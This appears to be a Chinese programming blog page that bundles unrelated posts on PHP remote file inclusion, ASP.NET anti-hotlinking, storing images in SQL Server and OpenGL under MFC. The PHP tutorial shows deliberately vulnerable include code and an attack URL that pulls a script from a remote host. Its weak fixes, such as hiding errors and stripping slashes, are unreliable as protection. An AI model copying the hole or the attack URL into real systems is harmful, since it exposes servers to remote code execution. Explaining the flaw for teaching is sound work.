试着使用windows live writer更新一个博客园博客。
今天就说说我最近做的一个网站吧,就是仙葫全文在线阅读,首页也做了较大浮动的改动,自我感觉还不错,现在的问题就是百度不太收录,就5.1哪天收录了首页,此后再也没收录,真心希望百度收录我的www.xianhu8.com域名啊。
不过话说回来用windows live writer更新博客园博客还真的麻烦啊。
为什么就这么麻烦呢?我死活找不到应该怎么发布出去我的博文啊。
由于PHP支持使用相同的函数(Function)对本地文件和远程文件进行操作。因此,一些恶意用户通过强行使网站上的PHP代码(Code)包含自己的文件来实现执行自己脚本的目的。以下代码(Code)实现了根据浏览器地址栏参数的文件名称包含不同文件的功能。
<?php
$file_name = $_GET["filename"]; //获得当前文件名
include("$file_name "); //包含文件
//一些其他操作
?>
这时,通过在地址栏上指定不同的文件名就可以实现包含不同文件并执行的功能。例如,通过在浏览器上访问http://localhost/test.php?filename=myinc.php就可以在代码(Code)中包含并执行myinc.php文件。
由于上面的代码(Code)没有进行任何错误处理,在浏览器上不加参数运行,所以将得到以下运行结果。
Warning: include(.php) [function.include]: failed to open stream: No such file or directory in C:\Program Files\xampp\htdocs\Bugs\test6.php on line 3
Warning: include() [function.include]: Failed opening '.php' for inclusion (include_path='.;C:\Program Files\xampp\php\pear\') in C:\Program Files\xampp\htdocs\Bugs\test6.php on line 3
访问者通过读取这段错误信息,可以得知当前的操作是一个文件包含操作。这时,可以在自己的服务器上放置一个相应的脚本代码。需要注意的是PHP在获取远程文件时获得的是远程服务器的最终输出结果,而不是文件本身。该脚本代码位于192.168.0.1服务器上,文件名为hello.txt,脚本代码(Code)如下所示。
<?php
echo "hello world!";
?>
这时,通过在浏览器中访问http://localhost/test.php?filename=http://192.168.0.1/hello.txt就可以运行hello.txt中的脚本了。
为了解决这个问题,一种方式是完善代码的错误信息,使访问者无法知道当前脚本正在包含参数中指定的文件。修改后的代码(Code)如下所示。
<?php
$file_name = $_GET["filename"]; //获得当前文件名
if(!@include("$file_name.php")) //包含文件
{
die("页面在浏览过程中出现错误");
}
//一些其他操作
?>
修改后,如果在被包含的文件无法找到时将出现“页面在浏览过程中出现错误”的错误信息,访问者将无法获得当前页面的具体操作信息。
第二种方式可以更加有效地防止远程文件包含攻击。方式是替换地址栏参数中的斜线“/”。这样,在地址栏参数中输入远程文件地址时,代码将无法正确地获得参数。修改后的代码(Code)如下所示。
<?php
$file_name = str_replace('/', '', $_GET["filename"]); //获得当前文件名
if(!@include("$file_name.php")) //包含文件
{
die("页面在浏览过程中出现错误");
}
//一些其他操作
?>
这样,在浏览器中访问http://localhost/test.php?filename=http://192.168.0.1/hello.txt 时,实际上PHP代码(Code)获得的包含文件名称是http:192.168.0.1bugstest6_test。页面将不会包含远程文件,并显示相应的错误信息。
本文首发:http://www.ip985.com/archieve/PHPwangluokaifaxiangjie_yuanchengwenjianbaohanloudong_988988.html
IP985编程开发网 http://www.ip985.com
1什么是图片盗链
让我们先分析一般的浏览现象,其中最重要的一点就是一个完整的页面并不是一次全部传送到客户端的.如果你请求的是一个带有许多图片和其它信息的页面,那么最先的一个Http请求被传送回来的是这个页面的文本,然后通过客户端的浏览器对这段文本的解释执行,发现其中还有图片,那么客户端的浏览器会再发送一条 Http请求,当这个请求被处理后那么这个图片文件会被传送到客户端,然后浏览器回将图片安放到页面的正确位置,就这样一个完整的页面也许要经过发送多条 Http请求才能够被完整的显示.基于这样的机制,就会产生一个问题,那就是盗链问题:就是一个网站中如果没有起页面中所说的信息,例如图片信息,那么它完全可以将这个图片的连接到别的网站.这样没有任何资源的网站利用了别的网站的资源来展示给浏览者,提高了自己的访问量,而大部分浏览者又不会很容易地发现,这样显然,对于那个被利用了资源的网站是不公平的.
2 解决方法
那么现在利用ASP.NET中的这HttpHandler能够很好地解决这个问题,之所以能够发生这个问题.就是因为我们在默认状态下只处理那些动态的网页,象asp,aspx等等,但当有请求一个图片文件时,IIS就会直接提取资源并发送给客户端,这样看来就显得有些盲目了吧
所以我们要创建自己的HttpHandler来处理图片文件。例如jpg文件。
3 那么我们如何建立自己的HttpHandler并在web应用程序中注册呢?
(1)建立自己的HttpHandler
创建一个继承了System.Web.IHttpHandler接口的类,在System.Web.IHttpHandler接口只有两个成员
1 IsReusable 属性,其返回一个值代表其他http请求是否可以使用当前继承了 System.Web.IHttpHander接口的类的实例。
2 ProcessRequest(System.Web.HttpContext context) 方法,除了用户自定义中被要求处理的特殊的http请求。
其中的参数 System.Web.HttpContext 类的实例装入了一个http请求中http协议中要求的所有信息。其中System.Web.HttpContext 类中包含有属性 Request 使得从客户端发送过来的http请求信息的值可以被方便地读取;属性Response ,其中封装了需要返回给客户端的信息和操作。当然还有许多常用的属性和方法,在此就不详述了,我们这里只用到这两个属性。
(2)web应用程序中注册自定义的HttpHandler
在 Web.config这个网络应用程序配置文件中加入注册信息
<httpHandlers>
<add verb = " path = "*.jpg" type = "自定义handler的类的名称,网络应用程序名称" />
</httpHandlers>
4 那么我们看看在ProcessRequest(System.Web.HttpContext context)方法是如何对请求图片文件的http请求进行处理的。
public void ProcessRequest(System.Web.HttpContext context)
{
if(context.Request.UrlReferrer.Host == "www.frontfree.net")//判断是否是本地引用,如果是则返回给客户端正确的图片,这里的判断就是用到了前面所述的http请求中所记路的参考页信息
{
context.Response.Expires = 0;//设置客户端缓冲中文件过期时间为0,即立即过期。
context.Response.Clear();//清空服务器端为此会话开辟的输出缓存
context.Response.ContentType = getContentType(context.Request.PhysicalPath); //获得文件类型
context.Response.WriteFile(context.Request.PhysicalPath);//将请求文件写入到服务器端为此会话开辟的输出缓存中
context.Response.End();//将服务器端为此会话开辟的输出缓存中的信息传送到客户端
}
Else //如果不是本地引用,则属于盗链引用,返回给客户端错误的图片
{
context.Response.Expires = 0; //设置客户端缓冲中文件过期时间为0,即立即过期。
context.Response.Clear();//清空服务器端为此会话开辟的输出缓存
context.Response.ContentType = getContentType("error.jpg"); //获得文件类型
context.Response.WriteFile("error.jpg");//将特殊的报告错误的图片文件写入到服务器端为此会话开辟的输出缓存中
context.Response.End();//将服务器端为此会话开辟的输出缓存中的信息传送到客户端
}
}
OK,现在你已经对此方法有一定的了解了,其实自定义HttpHandler还有其他的应用,在此我们就不赘述了
转载自:http://www.ip985.com/archieve/_NET/ASP_NETtupiandaolianwenti_360360.html
ip985编程开发网
可能有很多的时候,我们急需把图片存入到数据库当中。在一些应用程序中,我们可能有一些敏感的资料,由于存储在文件系统(file system)中的东西,将很容易被某些用户盗取,所以这些数据不能存放在文件系统中。
在这篇文章中,我们将讨论怎样把图片存入到Sql2000当中。
在这篇文章中我们可以学到以下几个方面的知识:
1. 插入图片的必要条件
2. 使用流对象
3. 查找准备上传的图片的大小和类型
4.怎么使用InputStream方法?
插入图片的必要条件
在我们开始上传之前,有两件重要的事我们需要做:
#Form 标记的 enctype 属性应该设置成 enctype="multipart/form-data"
# 需要一个<input type=file>表单来使用户选择他们要上传的文件,同时我们需要导入 System.IO名称空间来处理流对象
把以上三点应用到ASPx页面。同时我们需要对SqlServer做以下的准备。
# 需要至少含有一个图片类型的字段的表
# 如果我们还有另外一个变字符类型的字段来存储图片类型,那样会更好一些。
现在,我们准备了一个Sql表(包含了一个image数据类型的字段),还有<input type=file>标记。当然我们还得准备Submit按钮,以便用户在选择了图片以后提交。在这个按钮的Onclick事件里,我们需要读取选取图片的内容,然后把它存入到表里。那我们先来看看这个Onclick事件。
提交按钮的Onclick事件的代码:
Dim intImageSize As Int64
Dim strImageType As String
Dim ImageStream As Stream
\' Gets the Size of the Image
intImageSize = PersonImage.PostedFile.ContentLength
\' Gets the Image Type
strImageType = PersonImage.PostedFile.ContentType
\' Reads the Image
ImageStream = PersonImage.PostedFile.InputStream
Dim ImageContent(intImageSize) As Byte
Dim intStatus As Integer
intStatus = ImageStream.Read(ImageContent, 0, intImageSize)
\' Create Instance of Connection and Command Object
Dim myConnection As New SqlConnection(ConfigurationSettings.AppSettings("ConnectionString"))
Dim myCommand As New SqlCommand("sp_person_isp", myConnection)
\' Mark the Command as a SPROC
myCommand.CommandType = CommandType.StoredProcedure
\' Add Parameters to SPROC
Dim prmPersonImage As New SqlParameter("@PersonImage", SqlDbType.Image)
prmPersonImage.Value = ImageContent
myCommand.Parameters.Add(prmPersonImage)
Dim prmPersonImageType As New SqlParameter("@PersonImageType", SqlDbType.VarChar, 255)
prmPersonImageType.Value = strImageType
myCommand.Parameters.Add(prmPersonImageType)
Try
myConnection.Open()
myCommand.ExecuteNonQuery()
myConnection.Close()
Response.Write("New person successfully added!")
Catch SQLexc As SqlException
Response.Write("Insert Failed. Error Details are: " & SQLexc.ToString())
End Try
这是怎么工作的呢?
PersonImage是HTMLInputFile控件的对象。首先需要获得图片的大小,可以使用下面的代码实现:
intImageSize = PersonImage.PostedFile.ContentLength
然后返回图片的类型使用ContenType属性。最后,也是最重要的事就是取得Image Stream,这可以用以下代码实现:
ImageStream = PersonImage.PostedFile.InputStream
我们需要一个字节型数组来存储image 内容。读取整个图片可以使用Stream对象的Read方法来实现。Read(in byte[] buffer,int offset,int count)方法有三个参数。【关于Read方法的详细可以参看.Net FrameWorkSDK】他们是:
buffer
字节数组。此方法返回时,该缓冲区包含指定的字符数组,该数组的 offset 和 (offset + count) 之间的值由从当前源中读取的字节替换。
offset
buffer 中的从零开始的字节偏移量,从此处开始存储从当前流中读取的数据。
count
要从当前流中最多读取的字节数。
这个Read方法用以下代码实现:
intStatus = ImageStream.Read(ImageContent, 0, intImageSize)
.
现在,我们已经读取了整个图片的内容,下一步,我们要把这些内容存入到sql 表。我们将使用存储过程来完成插入图片类型和图片内容到sql 表。如果你浏览了上面的代码,你将会发现我们使用了sqldbtype.image的数据类型(datatype)。Ok了,完成了这些,我们也就成功的把图片存入到SqlServer中了。下面是我们编写的ASPx页面。
转载自:http://www.ip985.com/archieve/_NET/ruhezai_Net_amp__160_zhongbatupiancunrushujuku_354354.html 【IP985编程开发网】
关于OpenGL在MFC单文档下绘制图形,自己在网上找了很久但是对找到的东西一直感觉不满意,最后在《OpenGL高级编程与可视化系统开发》一书中找到了相对比较满意的答案,但这段代码在网上暂时还没找到,所以就发到我的博客。 本篇博文主要讲的是基本框架在下篇博文将给出具体函数代码: http://www.5dkx.com/arch/164.html 理论依据: 首发:http://www.5dkx.com/arch/163.html 非特别说明均为原创文章如转载,请注明:转载自 5D开心博客 [ http://www.5DKX.com/ ]
1)在单文档窗口的创建过程中,设置好显示的像素格式,并按OpenGL的要求设置好窗口的属性和风格。
2)首先获得windows设备的描述表,然后将其与事先设置好的OpenGL绘制描述表连起来。
3)调用OpenGL命令进行图形绘制
4)退出OpenGL图形窗口时,释放OpenGL绘制的描述表RC和Windows设备描述表DC。
具体在MFC单文档的编程步骤:
eg.创建项目为5dkx.com
1)为4dkx.comview类添加消息WM_CREATE、WM_DESTROY、WM_SIZE和WM_TIMER响应函数。
2)在5dkx.comview.h中加入一下源代码
////////////////////////////////////////////////////
//添加成员函数与成员变量
BOOL RenderScene();
BOOL SetupPixelFormat(void);
void SetLogicalPalette(void);
BOOL InitializeOpenGL(CDC* pDC);
HGLRC m_hRC;//OpenGL绘制描述表
HPALETTE m_hPalette;//OpenGL调色板
CDC* m_pDC;//OpenGL设备描述表
3)需要在5dkc.comview.cpp文件中修改和添加以下函数
5dkx.comVeiw::preCreateWindow()
5dkx.comVeiw::OnDraw()
5dkx.comVeiw::OnCreate()
5dkx.comVeiw::OnDestroy
5dkx.comVeiw::OnSize()
5dkx.comVeiw::OnTimer(UINT nIDEvent)
需要添加的函数
void 5dkx.comVeiw::SetLogiclPalette(void)
BOOL 5dkx.comVeiw::InitializeOpenGL(CDC*pDC)
BOOL 5dkx.comVeiw::SetupPixelFormat()
BOOL 5dkx.comVeiw::RenderScene()
